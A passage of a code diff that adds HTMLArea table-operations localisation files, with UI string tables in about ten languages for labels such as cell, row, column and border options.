+ "TO-cell-delete": "Smazat buňku",\r\r
+ "TO-cell-insert-after": "Vložit buňku za",\r\r
+ "TO-cell-insert-before": "Vložit buňku před",\r\r
+ "TO-cell-merge": "Spojit buňky",\r\r
+ "TO-cell-prop": "Vlastnosti buňky",\r\r
+ "TO-cell-split": "Rozdělit buňku",\r\r
+ "TO-col-delete": "Smazat sloupec",\r\r
+ "TO-col-insert-after": "Vložit sloupec za",\r\r
+ "TO-col-insert-before": "Vložit sloupec před",\r\r
+ "TO-col-split": "Rozdělit sloupec",\r\r
+ "TO-row-delete": "Smazat řádek",\r\r
+ "TO-row-insert-above": "Smazat řádek nad",\r\r
+ "TO-row-insert-under": "Smazat řádek pod",\r\r
+ "TO-row-prop": "Vlastnosti řádku",\r\r
+ "TO-row-split": "Rozdělit řádek",\r\r
+ "TO-table-prop": "Vlastnosti tabulky",\r\r
+ "Table Properties": "Vlastnosti tabulky",\r\r
+ "Text align": "Zarovnání textu",\r\r
+ "The bottom side only": "Pouze spodní strana",\r\r
+ "The left-hand side only": "Pouze levá strana",\r\r
+ "The right and left sides only": "Pouze levá a pravá strana",\r\r
+ "The right-hand side only": "Pouze pravá strana",\r\r
+ "The top and bottom sides only": "Pouze horní a dolní strana",\r\r
+ "The top side only": "Pouze horní strana",\r\r
+ "Top": "Nahoru", \r\r
+ "Unset color": "Zrušit barvu",\r\r
+ "Vertical align": "Svislé zarovnání",\r\r
+ "Width": "Šířka",\r\r
+ "not-del-last-cell": "HTMLArea zbaběle odmítá smazat poslední buňku v řádku.",\r\r
+ "not-del-last-col": "HTMLArea zbaběle odmítá smazat poslední sloupec v tabulce.",\r\r
+ "not-del-last-row": "HTMLArea zbaběle odmítá smazat poslední řádek v tabulce.",\r\r
+ "percent": "procent",\r\r
+ "pixels": "pixelů"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "da", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Placer",
+ "All four sides": "Alle fire sider",
+ "Background": "Baggrund",
+ "Baseline": "Bundlinie",
+ "Border": "Kant",
+ "Borders": "Kanter",
+ "Bottom": "Bund",
+ "CSS Style": "Stil [CSS]",
+ "Caption": "Titel",
+ "Cell Properties": "Celle egenskaber",
+ "Center": "Centrer",
+ "Char": "Plads",
+ "Collapsed borders": "Sammensmelt rammer",
+ "Color": "Farve",
+ "Description": "Beskrivelse",
+ "FG Color": "Font farve",
+ "Float": "Justering",
+ "Frames": "Udvendig",
+ "Height": "Højde",
+ "How many columns would you like to merge?": "Hvor mange kollonner vil du samle?",
+ "How many rows would you like to merge?": "Hvor mange rækker vil du samle?",
+ "Image URL": "Billede URL",
+ "Justify": "Lige margener",
+ "Layout": "Opsætning",
+ "Left": "Venstre",
+ "Margin": "Margen",
+ "Middle": "Centrer",
+ "No rules": "Ingen rammer",
+ "No sides": "Ingen sider",
+ "None": "Ingen",
+ "Padding": "Margen",
+ "Please click into some cell": "Klik på en celle",
+ "Right": "Højre",
+ "Row Properties": "Række egenskaber",
+ "Rules will appear between all rows and columns": "Rammer mellem rækker og kolonner",
+ "Rules will appear between columns only": "Kun rammer mellem kolonner",
+ "Rules will appear between rows only": "Kun rammer mellem rækker",
+ "Rules": "Invendig",
+ "Spacing and padding": "Afstand og margen",
+ "Spacing": "Afstand",
+ "Summary": "Beskrivelse",
+ "TO-cell-delete": "Slet celle",
+ "TO-cell-insert-after": "Indsæt celle efter",
+ "TO-cell-insert-before": "Indsæt celle før",
+ "TO-cell-merge": "Sammensæt celler",
+ "TO-cell-prop": "Celle egenskaber",
+ "TO-cell-split": "Opdel celle",
+ "TO-col-delete": "Slet kollonne",
+ "TO-col-insert-after": "Indsæt kolonne efter",
+ "TO-col-insert-before": "Indsæt kolonne før",
+ "TO-col-split": "Opdel kolonne",
+ "TO-row-delete": "Slet række",
+ "TO-row-insert-above": "Indsæt række før",
+ "TO-row-insert-under": "Indsæt række efter",
+ "TO-row-prop": "Række egenskaber",
+ "TO-row-split": "Opdel række",
+ "TO-table-prop": "Tabel egenskaber",
+ "Table Properties": "Tabel egenskaber",
+ "Text align": "Tekst",
+ "The bottom side only": "Kun i bunden",
+ "The left-hand side only": "Kun i højre side",
+ "The right and left sides only": "Kun i siderne",
+ "The right-hand side only": "Kun i venstre side",
+ "The top and bottom sides only": "Kun i top og bund",
+ "The top side only": "Kun i toppen",
+ "Top": "Top",
+ "Unset color": "Farve ikke valgt",
+ "Vertical align": "Vertikal placering",
+ "Width": "Bredde",
+ "not-del-last-cell": "Du kan ikke slette den sidste celle i en række.",
+ "not-del-last-col": "Du kan ikke slette den sidste kolonne i en tabel.",
+ "not-del-last-row": "Du kan ikke slette den sidste række i en tabel.",
+ "percent": "procent",
+ "pixels": "pixel"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+// Author: broxx, <broxx@broxx.com>
+
+TableOperations.I18N = {
+ "Align": "Ausrichten",
+ "All four sides": "Alle 4 Seiten",
+ "Background": "Hintergrund",
+ "Baseline": "Basislinie",
+ "Border": "Rand",
+ "Borders": "Raender",
+ "Bottom": "Unten",
+ "CSS Style": "Style [CSS]",
+ "Caption": "Ueberschrift",
+ "Cell Properties": "Zellen",
+ "Center": "Zentrieren",
+ "Char": "Zeichen",
+ "Collapsed borders": "Collapsed borders",
+ "Color": "Farbe",
+ "Description": "Beschreibung",
+ "FG Color": "FG Farbe",
+ "Float": "Ausrichtung",
+ "Frames": "Rahmen",
+ "Height": "Hoehe",
+ "How many columns would you like to merge?": "Wieviele Spalten willst du verbinden?",
+ "How many rows would you like to merge?": "Wieviele Zeilen willst du verbinden?",
+ "Image URL": "Bild URL",
+ "Justify": "Justieren",
+ "Layout": "Layout",
+ "Left": "Links",
+ "Margin": "Rand",
+ "Middle": "Mitte",
+ "No rules": "Keine Balken",
+ "No sides": "Keine Seiten",
+ "None": "Keine",
+ "Padding": "Auffuellung",
+ "Please click into some cell": "Waehle eine Zelle",
+ "Right": "Rechts",
+ "Row Properties": "Reihen",
+ "Rules will appear between all rows and columns": "Balken zwischen Reihen und Spalten",
+ "Rules will appear between columns only": "Balken zwischen Spalten",
+ "Rules will appear between rows only": "Balken zwischen Reihen",
+ "Rules": "Balken",
+ "Spacing and padding": "Abstaende",
+ "Spacing": "Abstand",
+ "Summary": "Zusammenfassung",
+ "TO-cell-delete": "Zelle loeschen",
+ "TO-cell-insert-after": "Zelle einfuegen nach",
+ "TO-cell-insert-before": "Zelle einfuegen bevor",
+ "TO-cell-merge": "Zellen zusammenfuegen",
+ "TO-cell-prop": "Zelleinstellungen",
+ "TO-cell-split": "Zellen aufteilen",
+ "TO-col-delete": "Spalte loeschen",
+ "TO-col-insert-after": "Spalte einfuegen nach",
+ "TO-col-insert-before": "Spalte einfuegen bevor",
+ "TO-col-split": "Spalte aufteilen",
+ "TO-row-delete": "Reihe loeschen",
+ "TO-row-insert-above": "Reihe einfuegen vor",
+ "TO-row-insert-under": "Reihe einfuegen nach",
+ "TO-row-prop": "Reiheneinstellungen",
+ "TO-row-split": "Reihen aufteilen",
+ "TO-table-prop": "Tabelle",
+ "Table Properties": "Tabelle",
+ "Text align": "Ausrichtung",
+ "The bottom side only": "Nur untere Seite",
+ "The left-hand side only": "Nur linke Seite",
+ "The right and left sides only": "Nur linke und rechte Seite",
+ "The right-hand side only": "Nur rechte Seite",
+ "The top and bottom sides only": "Nur obere und untere Seite",
+ "The top side only": "Nur obere Seite",
+ "Top": "Oben",
+ "Unset color": "Farbe",
+ "Vertical align": "Ausrichtung",
+ "Width": "Breite",
+ "not-del-last-cell": "Letzte Zelle in dieser Reihe!",
+ "not-del-last-col": "Letzte Spalte in dieser Tabelle!",
+ "not-del-last-row": "Letzte Reihe in dieser Tabelle",
+ "percent": "%",
+ "pixels": "pixels"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+TableOperations.I18N = {
+ "Align": "Στοίχηση",
+ "All four sides": "Και οι 4 πλευρές",
+ "Background": "Φόντο",
+ "Baseline": "Baseline",
+ "Border": "Περίγραμμα",
+ "Borders": "Περιγράμματα",
+ "Bottom": "Κάτω μέρος",
+ "CSS Style": "Στυλ [CSS]",
+ "Caption": "Λεζάντα",
+ "Cell Properties": "Ιδιότητες Κελιού",
+ "Center": "Κέντρο",
+ "Char": "Χαρακτήρας",
+ "Collapsed borders": "Συμπτυγμένα περιγράμματα",
+ "Color": "Χρώμα",
+ "Description": "Περιγραφή",
+ "FG Color": "Χρώμα αντικειμένων",
+ "Float": "Float",
+ "Frames": "Frames",
+ "Height": "Ύψος",
+ "How many columns would you like to merge?": "Πόσες στήλες θέλετε να ενώσετε;",
+ "How many rows would you like to merge?": "Πόσες γραμμές θέλετε να ενώσετε;",
+ "Image URL": "URL εικόνας",
+ "Justify": "Πλήρης στοίχηση",
+ "Layout": "Διάταξη",
+ "Left": "Αριστερά",
+ "Margin": "Περιθώριο",
+ "Middle": "Κέντρο",
+ "No rules": "Χωρίς Γραμμές",
+ "No sides": "No sides",
+ "None": "Τίποτα",
+ "Padding": "Εσοχή",
+ "Please click into some cell": "Κάντε κλικ μέσα σε κάποιο κελί",
+ "Right": "Δεξιά",
+ "Row Properties": "Ιδιότητες Γραμμής",
+ "Rules will appear between all rows and columns": "Γραμμές θα εμφανίζονται μεταξύ όλων των γραμμών και στηλών",
+ "Rules will appear between columns only": "Γραμμές θα εμφανίζονται μόνο μεταξύ στηλών",
+ "Rules will appear between rows only": "Γραμμές θα εμφανίζονται μόνο μεταξύ γραμμών",
+ "Rules": "Γραμμές",
+ "Spacing and padding": "Αποστάσεις και εσοχές",
+ "Spacing": "Αποστάσεις",
+ "Summary": "Σύνοψη",
+ "TO-cell-delete": "Διαγραφή κελιού",
+ "TO-cell-insert-after": "Εισαγωγή κελιού μετά",
+ "TO-cell-insert-before": "Εισαγωγή κελιού πριν",
+ "TO-cell-merge": "Συγχώνευση κελιών",
+ "TO-cell-prop": "Ιδιότητες κελιού",
+ "TO-cell-split": "Διαίρεση κελιού",
+ "TO-col-delete": "Διαγραφή στήλης",
+ "TO-col-insert-after": "Εισαγωγή στήλης μετά",
+ "TO-col-insert-before": "Εισαγωγή στήλης πριν",
+ "TO-col-split": "Διαίρεση στήλης",
+ "TO-row-delete": "Διαγραφή γραμμής",
+ "TO-row-insert-above": "Εισαγωγή γραμμής μετά",
+ "TO-row-insert-under": "Εισαγωγή γραμμής πριν",
+ "TO-row-prop": "Ιδιότητες γραμμής",
+ "TO-row-split": "Διαίρεση γραμμής",
+ "TO-table-prop": "Ιδιότητες πίνακα",
+ "Table Properties": "Ιδιότητες πίνακα",
+ "Text align": "Στοίχηση κειμένου",
+ "The bottom side only": "Η κάτω πλευρά μόνο",
+ "The left-hand side only": "Η αριστερή πλευρά μόνο",
+ "The right and left sides only": "Οι δεξιές και αριστερές πλευρές μόνο",
+ "The right-hand side only": "Η δεξιά πλευρά μόνο",
+ "The top and bottom sides only": "Οι πάνω και κάτω πλευρές μόνο",
+ "The top side only": "Η πάνω πλευρά μόνο",
+ "Top": "Πάνω",
+ "Unset color": "Αναίρεση χρώματος",
+ "Vertical align": "Κατακόρυφη στοίχηση",
+ "Width": "Πλάτος",
+ "not-del-last-cell": "Δεν μπορεί να διαγραφεί το τελευταίο κελί σε μια γραμμή.",
+ "not-del-last-col": "Δεν μπορεί να διαγραφεί η τελευταία στήλη σε ένα πίνακα.",
+ "not-del-last-row": "Δεν μπορεί να διαγραφεί η τελευταία γραμμή σε ένα πίνακα.",
+ "percent": "τοις εκατόν",
+ "pixels": "pixels"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Align",
+ "All four sides": "All four sides",
+ "Background": "Background",
+ "Baseline": "Baseline",
+ "Border": "Border",
+ "Borders": "Borders",
+ "Bottom": "Bottom",
+ "CSS Style": "Style [CSS]",
+ "Caption": "Caption",
+ "Cell Properties": "Cell Properties",
+ "Center": "Center",
+ "Char": "Char",
+ "Collapsed borders": "Collapsed borders",
+ "Color": "Color",
+ "Description": "Description",
+ "FG Color": "FG Color",
+ "Float": "Float",
+ "Frames": "Frames",
+ "Height": "Height",
+ "How many columns would you like to merge?": "How many columns would you like to merge?",
+ "How many rows would you like to merge?": "How many rows would you like to merge?",
+ "Image URL": "Image URL",
+ "Justify": "Justify",
+ "Layout": "Layout",
+ "Left": "Left",
+ "Margin": "Margin",
+ "Middle": "Middle",
+ "No rules": "No rules",
+ "No sides": "No sides",
+ "None": "None",
+ "Padding": "Padding",
+ "Please click into some cell": "Please click into some cell",
+ "Right": "Right",
+ "Row Properties": "Row Properties",
+ "Rules will appear between all rows and columns": "Rules will appear between all rows and columns",
+ "Rules will appear between columns only": "Rules will appear between columns only",
+ "Rules will appear between rows only": "Rules will appear between rows only",
+ "Rules": "Rules",
+ "Spacing and padding": "Spacing and padding",
+ "Spacing": "Spacing",
+ "Summary": "Summary",
+ "TO-cell-delete": "Delete cell",
+ "TO-cell-insert-after": "Insert cell after",
+ "TO-cell-insert-before": "Insert cell before",
+ "TO-cell-merge": "Merge cells",
+ "TO-cell-prop": "Cell properties",
+ "TO-cell-split": "Split cell",
+ "TO-col-delete": "Delete column",
+ "TO-col-insert-after": "Insert column after",
+ "TO-col-insert-before": "Insert column before",
+ "TO-col-split": "Split column",
+ "TO-row-delete": "Delete row",
+ "TO-row-insert-above": "Insert row before",
+ "TO-row-insert-under": "Insert row after",
+ "TO-row-prop": "Row properties",
+ "TO-row-split": "Split row",
+ "TO-table-prop": "Table properties",
+ "Table Properties": "Table Properties",
+ "Text align": "Text align",
+ "The bottom side only": "The bottom side only",
+ "The left-hand side only": "The left-hand side only",
+ "The right and left sides only": "The right and left sides only",
+ "The right-hand side only": "The right-hand side only",
+ "The top and bottom sides only": "The top and bottom sides only",
+ "The top side only": "The top side only",
+ "Top": "Top",
+ "Unset color": "Unset color",
+ "Vertical align": "Vertical align",
+ "Width": "Width",
+ "not-del-last-cell": "HTMLArea cowardly refuses to delete the last cell in row.",
+ "not-del-last-col": "HTMLArea cowardly refuses to delete the last column in table.",
+ "not-del-last-row": "HTMLArea cowardly refuses to delete the last row in table.",
+ "percent": "percent",
+ "pixels": "pixels"
+};
--- /dev/null
+TableOperations.I18N = {
+ "Align": "Kohdistus",
+ "All four sides": "Kaikki neljä sivua",
+ "Background": "Tausta",
+ "Baseline": "Takaraja",
+ "Border": "Reuna",
+ "Borders": "Reunat",
+ "Bottom": "Alle",
+ "CSS Style": "Tyyli [CSS]",
+ "Caption": "Otsikko",
+ "Cell Properties": "Solun asetukset",
+ "Center": "Keskelle",
+ "Char": "Merkki",
+ "Collapsed borders": "Luhistetut reunat",
+ "Color": "Väri",
+ "Description": "Kuvaus",
+ "FG Color": "FG Väri",
+ "Frames": "Kehykset",
+ "Image URL": "Kuvan osoite",
+ "Layout": "Sommittelu",
+ "Left": "Vasen",
+ "Margin": "Marginaali",
+ "Middle": "Keskelle",
+ "No rules": "Ei viivoja",
+ "No sides": "Ei sivuja",
+ "Padding": "Palstantäyte",
+ "Right": "Oikea",
+ "Row Properties": "Rivin asetukset",
+ "Rules will appear between all rows and columns": "Viivat jokaisen rivin ja sarakkeen välillä",
+ "Rules will appear between columns only": "Viivat ainoastaan sarakkeiden välillä",
+ "Rules will appear between rows only": "Viivat ainoastaan rivien välillä",
+ "Rules": "Viivat",
+ "Spacing": "Palstatila",
+ "Summary": "Yhteenveto",
+ "TO-cell-delete": "Poista solu",
+ "TO-cell-insert-after": "Lisää solu perään",
+ "TO-cell-insert-before": "Lisää solu ennen",
+ "TO-cell-merge": "Yhdistä solut",
+ "TO-cell-prop": "Solun asetukset",
+ "TO-cell-split": "Jaa solu",
+ "TO-col-delete": "Poista sarake",
+ "TO-col-insert-after": "Lisää sarake perään",
+ "TO-col-insert-before": "Lisää sarake ennen",
+ "TO-col-split": "Jaa sarake",
+ "TO-row-delete": "Poista rivi",
+ "TO-row-insert-above": "Lisää rivi yläpuolelle",
+ "TO-row-insert-under": "Lisää rivi alapuolelle",
+ "TO-row-prop": "Rivin asetukset",
+ "TO-row-split": "Jaa rivi",
+ "TO-table-prop": "Taulukon asetukset",
+ "Top": "Ylös",
+ "Table Properties": "Taulukon asetukset",
+ "The bottom side only": "Ainoastaan alapuolelle",
+ "The left-hand side only": "Ainoastaan vasenreuna",
+ "The right and left sides only": "Oikea- ja vasenreuna",
+ "The right-hand side only": "Ainoastaan oikeareuna",
+ "The top and bottom sides only": "Ylä- ja alapuoli.",
+ "The top side only": "Ainoastaan yläpuoli",
+ "Vertical align": "Vertikaali kohdistus",
+ "Width": "Leveys",
+ "not-del-last-cell": "Ei voida poistaa viimeistä solua rivistä.",
+ "not-del-last-col": "Ei voida poistaa viimeistä saraketta taulusta.",
+ "not-del-last-row": "Ei voida poistaa viimeistä riviä taulusta.",
+ "percent": "prosenttia",
+ "pixels": "pikseliä"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "ישור",\r\r
+ "All four sides": "כל ארבעת הצדדים",\r\r
+ "Background": "רקע",\r\r
+ "Baseline": "קו בסיס",\r\r
+ "Border": "גבול",\r\r
+ "Borders": "גבולות",\r\r
+ "Bottom": "תחתון",\r\r
+ "CSS Style": "סגנון [CSS]",\r\r
+ "Caption": "כותרת",\r\r
+ "Cell Properties": "מאפייני תא",\r\r
+ "Center": "מרכז",\r\r
+ "Char": "תו",\r\r
+ "Collapsed borders": "גבולות קורסים",\r\r
+ "Color": "צבע",\r\r
+ "Description": "תיאור",\r\r
+ "FG Color": "צבע קידמה",\r\r
+ "Float": "מרחף",\r\r
+ "Frames": "מסגרות",\r\r
+ "Height": "גובה",\r\r
+ "How many columns would you like to merge?": "כמה טורים ברצונך למזג?",\r\r
+ "How many rows would you like to merge?": "כמה שורות ברצונך למזג?",\r\r
+ "Image URL": "URL התמונה",\r\r
+ "Justify": "ישור",\r\r
+ "Layout": "פריסה",\r\r
+ "Left": "שמאל",\r\r
+ "Margin": "שוליים",\r\r
+ "Middle": "אמצע",\r\r
+ "No rules": "ללא קווים",\r\r
+ "No sides": "ללא צדדים",\r\r
+ "None": "אין",\r\r
+ "Padding": "ריווח בשוליים",\r\r
+ "Please click into some cell": "אנא לחץ על תא כלשהו",\r\r
+ "Right": "ימין",\r\r
+ "Row Properties": "מאפייני שורה",\r\r
+ "Rules will appear between all rows and columns": "קווים יופיעו בין כל השורות והטורים",\r\r
+ "Rules will appear between columns only": "קווים יופיעו בין טורים בלבד",\r\r
+ "Rules will appear between rows only": "קווים יופיעו בין שורות בלבד",\r\r
+ "Rules": "קווים",\r\r
+ "Spacing and padding": "ריווח ושוליים",\r\r
+ "Spacing": "ריווח",\r\r
+ "Summary": "סיכום",\r\r
+ "TO-cell-delete": "מחק תא",\r\r
+ "TO-cell-insert-after": "הכנס תא אחרי",\r\r
+ "TO-cell-insert-before": "הכנס תא לפני",\r\r
+ "TO-cell-merge": "מזג תאים",\r\r
+ "TO-cell-prop": "מאפייני תא",\r\r
+ "TO-cell-split": "פצל תא",\r\r
+ "TO-col-delete": "מחק טור",\r\r
+ "TO-col-insert-after": "הכנס טור אחרי",\r\r
+ "TO-col-insert-before": "הכנס טור לפני",\r\r
+ "TO-col-split": "פצל טור",\r\r
+ "TO-row-delete": "מחק שורה",\r\r
+ "TO-row-insert-above": "הכנס שורה לפני",\r\r
+ "TO-row-insert-under": "הכנס שורה אחרי",\r\r
+ "TO-row-prop": "מאפייני שורה",\r\r
+ "TO-row-split": "פצל שורה",\r\r
+ "TO-table-prop": "מאפייני טבלה",\r\r
+ "Table Properties": "מאפייני טבלה",\r\r
+ "Text align": "ישור טקסט",\r\r
+ "The bottom side only": "הצד התחתון בלבד",\r\r
+ "The left-hand side only": "הצד השמאלי בלבד",\r\r
+ "The right and left sides only": "הצדדים הימני והשמאלי בלבד",\r\r
+ "The right-hand side only": "הצד הימני בלבד",\r\r
+ "The top and bottom sides only": "הצדדים העליון והתחתון בלבד",\r\r
+ "The top side only": "הצד העליון בלבד",\r\r
+ "Top": "עליון", \r\r
+ "Unset color": "צבע לא נבחר",\r\r
+ "Vertical align": "יישור אנכי",\r\r
+ "Width": "רוחב",\r\r
+ "not-del-last-cell": "HTMLArea מסרב בפחדנות למחוק את התא האחרון בשורה.",\r\r
+ "not-del-last-col": "HTMLArea מסרב בפחדנות למחוק את הטור האחרון בטבלה.",\r\r
+ "not-del-last-row": "HTMLArea מסרב בפחדנות למחוק את השורה האחרונה בטבלה.",\r\r
+ "percent": "אחוז",\r\r
+ "pixels": "פיקסלים"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "hu",
+
+ tooltips: {
+ bold: "Félkövér",
+ italic: "Dőlt",
+ underline: "Aláhúzott",
+ strikethrough: "Áthúzott",
+ subscript: "Alsó index",
+ superscript: "Felső index",
+ justifyleft: "Balra zárt",
+ justifycenter: "Középre zárt",
+ justifyright: "Jobbra zárt",
+ justifyfull: "Sorkizárt",
+ orderedlist: "Számozott lista",
+ unorderedlist: "Számozatlan lista",
+ outdent: "Behúzás csökkentése",
+ indent: "Behúzás növelése",
+ forecolor: "Karakterszín",
+ hilitecolor: "Háttérszín",
+ horizontalrule: "Elválasztó vonal",
+ createlink: "Hiperhivatkozás beszúrása",
+ insertimage: "Kép beszúrása",
+ inserttable: "Táblázat beszúrása",
+ htmlmode: "HTML forrás be/ki",
+ popupeditor: "Szerkesztő külön ablakban",
+ about: "Névjegy",
+ showhelp: "Súgó",
+ textindicator: "Aktuális stílus",
+ undo: "Visszavonás",
+ redo: "Újra végrehajtás",
+ cut: "Kivágás",
+ copy: "Másolás",
+ paste: "Beillesztés"
+ },
+
+ buttons: {
+ "ok": "Rendben",
+ "cancel": "Mégsem"
+ },
+
+ msg: {
+ "Path": "Hierarchia",
+ "TEXT_MODE": "Forrás mód. Visszaváltás [<>] gomb"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+TableOperations.I18N = {
+ "Align": "Allinea",
+ "All four sides": "Tutti e quattro i lati",
+ "Background": "Sfondo",
+ "Baseline": "Allineamento",
+ "Border": "Bordo",
+ "Borders": "Bordi",
+ "Bottom": "Basso",
+ "CSS Style": "Stile [CSS]",
+ "Caption": "Titolo",
+ "Cell Properties": "Proprietà della Cella",
+ "Center": "Centra",
+ "Char": "Carattere",
+ "Collapsed borders": "Bordi chiusi",
+ "Color": "Colore",
+ "Description": "Descrizione",
+ "FG Color": "Colore Principale",
+ "Float": "Fluttuante",
+ "Frames": "Frames",
+ "Height": "Altezza",
+ "How many columns would you like to merge?": "Quante colonne vuoi unire?",
+ "How many rows would you like to merge?": "Quante righe vuoi unire?",
+ "Image URL": "URL dell'Immagine",
+ "Justify": "Justifica",
+ "Layout": "Layout",
+ "Left": "Sinistra",
+ "Margin": "Margine",
+ "Middle": "Centrale",
+ "No rules": "Nessun righello",
+ "No sides": "Nessun lato",
+ "None": "Nulla",
+ "Padding": "Padding",
+ "Please click into some cell": "Per favore, clicca in una cella",
+ "Right": "Destra",
+ "Row Properties": "Proprietà della Riga",
+ "Rules will appear between all rows and columns": "Le linee appariranno tra tutte le righe e colonne",
+ "Rules will appear between columns only": "Le linee appariranno solo tra le colonne",
+ "Rules will appear between rows only": "Le linee appariranno solo tra le righe",
+ "Rules": "Linee",
+ "Spacing and padding": "Spaziatura e Padding",
+ "Spacing": "Spaziatura",
+ "Summary": "Sommario",
+ "TO-cell-delete": "Cancella cella",
+ "TO-cell-insert-after": "Inserisci cella dopo",
+ "TO-cell-insert-before": "Inserisci cella prima",
+ "TO-cell-merge": "Unisci celle",
+ "TO-cell-prop": "Proprietà della cella",
+ "TO-cell-split": "Dividi cella",
+ "TO-col-delete": "Cancella colonna",
+ "TO-col-insert-after": "Inserisci colonna dopo",
+ "TO-col-insert-before": "Inserisci colonna prima",
+ "TO-col-split": "Dividi colonna",
+ "TO-row-delete": "Cancella riga",
+ "TO-row-insert-above": "Inserisci riga prima",
+ "TO-row-insert-under": "Inserisci riga dopo",
+ "TO-row-prop": "Proprietà della riga",
+ "TO-row-split": "Dividi riga",
+ "TO-table-prop": "Proprietà della Tabella",
+ "Table Properties": "Proprietà della Tabella",
+ "Text align": "Allineamento del Testo",
+ "The bottom side only": "Solo la parte inferiore",
+ "The left-hand side only": "Solo la parte sinistra",
+ "The right and left sides only": "Solo destra e sinistra",
+ "The right-hand side only": "Solo la parte destra",
+ "The top and bottom sides only": "Solo sopra e sotto",
+ "The top side only": "Solo la parte sopra",
+ "Top": "Alto",
+ "Unset color": "Rimuovi colore",
+ "Vertical align": "Allineamento verticale",
+ "Width": "Larghezza",
+ "not-del-last-cell": "HTMLArea si rifiuta codardamente di cancellare l'ultima cella nella riga.",
+ "not-del-last-col": "HTMLArea si rifiuta codardamente di cancellare l'ultima colonna nella tabella.",
+ "not-del-last-row": "HTMLArea si rifiuta codardamente di cancellare l'ultima riga nella tabella.",
+ "percent": "percento",
+ "pixels": "pixels"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Uitlijning",\r\r
+ "All four sides": "Alle 4 zijden",\r\r
+ "Background": "Achtergrond",\r\r
+ "Baseline": "Basis",\r\r
+ "Border": "Rand",\r\r
+ "Borders": "Randen",\r\r
+ "Bottom": "Onder",\r\r
+ "CSS Style": "CSS Style",\r\r
+ "Caption": "Opmerking",\r\r
+ "Cell Properties": "Celeigenschappen",\r\r
+ "Center": "Centreren",\r\r
+ "Char": "Karakter",\r\r
+ "Collapsed borders": "Geen randen",\r\r
+ "Color": "Kleur",\r\r
+ "Description": "Omschrijving",\r\r
+ "FG Color": "Voorgrond",\r\r
+ "Float": "Zwevend",\r\r
+ "Frames": "Frames",\r\r
+ "Height": "Hoogte",\r\r
+ "How many columns would you like to merge?": "Hoeveel kolommen wilt u samenvoegen?",\r\r
+ "How many rows would you like to merge?": "Hoeveel rijen wilt u samenvoegen?",\r\r
+ "Image URL": "Afbeelding URL",\r\r
+ "Justify": "Uitvullen",\r\r
+ "Layout": "Opmaak",\r\r
+ "Left": "Links",\r\r
+ "Margin": "Marge",\r\r
+ "Middle": "Midden",\r\r
+ "No rules": "Geen regels",\r\r
+ "No sides": "Geen zijlijnen",\r\r
+ "None": "Geen",\r\r
+ "Padding": "Celmarge",\r\r
+ "Please click into some cell": "Klik in een cel a.u.b.",\r\r
+ "Right": "Rechts",\r\r
+ "Row Properties": "Rijeigenschappen",\r\r
+ "Rules will appear between all rows and columns": "Regels verschijnen tussen alle rijen en kolommen",\r\r
+ "Rules will appear between columns only": "Regels verschijnen enkel tussen de kolommen",\r\r
+ "Rules will appear between rows only": "Regels verschijnen enkel tussen de rijen",\r\r
+ "Rules": "Regels",\r\r
+ "Spacing and padding": "Celmarge en afstand tussen cellen",\r\r
+ "Spacing": "marge",\r\r
+ "Summary": "Overzicht",\r\r
+ "TO-cell-delete": "Cel verwijderen",\r\r
+ "TO-cell-insert-after": "Voeg cel toe achter",\r\r
+ "TO-cell-insert-before": "Voeg cel toe voor",\r\r
+ "TO-cell-merge": "Cellen samenvoegen",\r\r
+ "TO-cell-prop": "Celeigenschappen",\r\r
+ "TO-cell-split": "Cel splitsen",\r\r
